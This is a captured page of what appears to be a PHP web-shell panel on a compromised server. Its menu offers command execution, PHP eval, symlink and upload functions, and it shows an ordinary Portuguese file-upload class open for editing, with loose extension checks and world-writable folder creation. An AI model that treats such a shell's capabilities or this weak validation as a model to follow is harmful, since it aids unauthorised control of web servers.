Home Files
Adminer
Execute Command
PHP Eval
Symlink
File Upload
Owner :
www-data
PHP Version
8.1.8
Disk Space
203.89 GB
Server Addr
171.9.3.2
Your IP
171.9.3.1
Edit File
File:
<?php //CLASSE PARA UPLOAD DE ARQUIVOS, POSSIBILIDDE DE TESTAR ENTES TE ENVIAR. class Upload { function Validar ($extensoes = array("pdf")) { $_UP['erros'][0] = 'Não houve erro'; $_UP['erros'][1] = 'O arquivo no upload é maior do que o limite do PHP'; $_UP['erros'][2] = 'O arquivo ultrapassa o limite de tamanho especifiado no HTML'; $_UP['erros'][3] = 'O upload do arquivo foi feito parcialmente'; $_UP['erros'][4] = 'Não foi feito o upload do arquivo'; if ($_FILES['arquivo']['error'] != 0) { return $_UP['erros'][$_FILES['arquivo']['error']]; exit; } $extensao = strtolower(end(explode('.', $_FILES['arquivo']['name']))); if (array_search($extensao, $extensoes) === false) { return "Extensões permitidas somente *.pdf"; exit; } $tamanho = 1024 * 1024 * 10; // 2Mb if ($tamanho < $_FILES['arquivo']['size']) { return 'O arquivo ultrapassa o limite de tamanho especifiado.'; exit; } } function Enviar ($pasta, $nome_final, $extensoes = array(), $zip = false) { if (!is_dir($pasta)) { mkdir($pasta, 0777, true); } $_UP['pasta'] = $pasta; // Tamanho máximo do arquivo (em Bytes) $_UP['tamanho'] = 1024 * 1024 * 10; // 2Mb // Array com as extensões permitidas $_UP['extensoes'] = $extensoes; // Renomeia o arquivo? (Se true, o arquivo será salvo como .jpg e um nome único) $_UP['renomeia'] = false; // Array com os tipos de erros de upload do PHP $_UP['erros'][0] = 'Não houve erro'; $_UP['erros'][1] = 'O arquivo no upload é maior do que o limite do PHP'; $_UP['erros'][2] = 'O arquivo ultrapassa o limite de tamanho especifiado no HTML'; $_UP['erros'][3] = 'O upload do arquivo foi feito parcialmente'; $_UP['erros'][4] = 'Não foi feito o upload do arquivo'; // Verifica se houve algum erro com o upload. Se sim, exibe a mensagem do erro if ($_FILES['arquivo']['error'] != 0) { return false; exit; } // Caso script chegue a esse ponto, não houve erro com o upload e o PHP pode continuar // Faz a verificação da extensão do arquivo $extensao = strtolower(end(explode('.', $_FILES['arquivo']['name']))); if (array_search($extensao, $_UP['extensoes']) === false) { return false; exit; } // Faz a verificação do tamanho do arquivo if ($_UP['tamanho'] < $_FILES['arquivo']['size']) { return false; exit; } if (move_uploaded_file($_FILES['arquivo']['tmp_name'], $_UP['pasta'] . $nome_final . "." .$extensao )) { if ($zip == true) { fopen($_UP['pasta'] . $nome_final.".zip", "a"); $zip = new ZipArchive(); if ($zip->open($_UP['pasta'] . $nome_final.".zip") === true) { $zip->addFile($_UP['pasta'] . $nome_final. "." .$extensao, basename($_UP['pasta'] . $nome_final. "." .$extensao)); $zip->close(); unlink($_UP['pasta'] . $nome_final. "." .$extensao); } } return true; exit; } else { return false; exit; } } } ?>